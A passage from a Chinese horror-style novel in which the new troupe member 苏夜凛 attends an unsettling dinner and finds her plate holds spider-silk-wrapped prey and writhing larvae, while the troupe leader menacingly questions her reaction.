仙后用一片缎带遮住了眼睛,只露出点缀玫瑰色的嘴唇,她唇角略带笑意,但始终沉默不语,周身一阵静谧的雅致气质。 她的旁边,站着另一个笑颜奕奕的女孩,她也穿着预备演员的白袍,长发束起,和新人们友好地打招呼。她应该就是那个“喜鹊”了。 团长似乎心情也很好,没有在意晨星和镜花这两个新人愣在那里,笑呵呵地招呼着演员们: “快坐吧,我亲爱的仙后和喜鹊!你们一定很想见见这几个新的家人。” 与此同时,水月不动声色将餐盘摆在了各自的座位上。 不知是真的习惯了,还是怎么回事,苏夜凛居然感到这场面有一丝丝的温馨,尤其看到两个新出现的女演员一起坐下时,她总觉得这个阴森的地方也没那么可怕了。 “你是新的晨星?”女孩明快的神情面对着苏夜凛;“我是喜鹊!欢迎你们加入,虽然你们是新人,但今天的排练不能松懈哦!” “嗯!”苏夜凛点头,换回了对方一个甜甜的笑容。 “不错不错,各位一定要和谐相处,对我这个领导没有比这更开心的事啦!”团长满脸堆笑拍手应和着。 水月也坐下后,仙后和喜鹊都优雅地拿起刀叉,苏夜凛也跟着学样,而身边的付明笙脸色似乎非常不好。 苏夜凛本来还纳闷又有什么惹到他了,低头一看,立刻也变得面如土色,连带着刚才愉快的心情都消散了。 她的餐盘里乘着一团又一团的白色物质,像是极细的、接近透明的丝线,每一团里面都捆着一团不明物质。 是蜘蛛丝。她们现在就是要吃下这一团一团被蜘蛛丝狩猎和包裹的猎物。 有的看起来是腐烂的果子,有的缠上了杂乱的叶片,其中还有些不知道是什么,细条状的东西,在一抽一抽地耸动。 她不愿意细想,但是怎么看,都感觉那是一些不明种类的幼虫。 苏夜凛没忍住,捂住了嘴唇,抑制呕吐的本能。 “……怎么啦,晨星?” 霎时,她感到桌子的另一边,冷如刀光的眼神向她投过来,男人的嘴角扬起弧度,却让人丝毫感受不到善意。 “难道说,在餐桌上共进美食、交流感情的这段珍贵时光……让你感到很恶心吗?”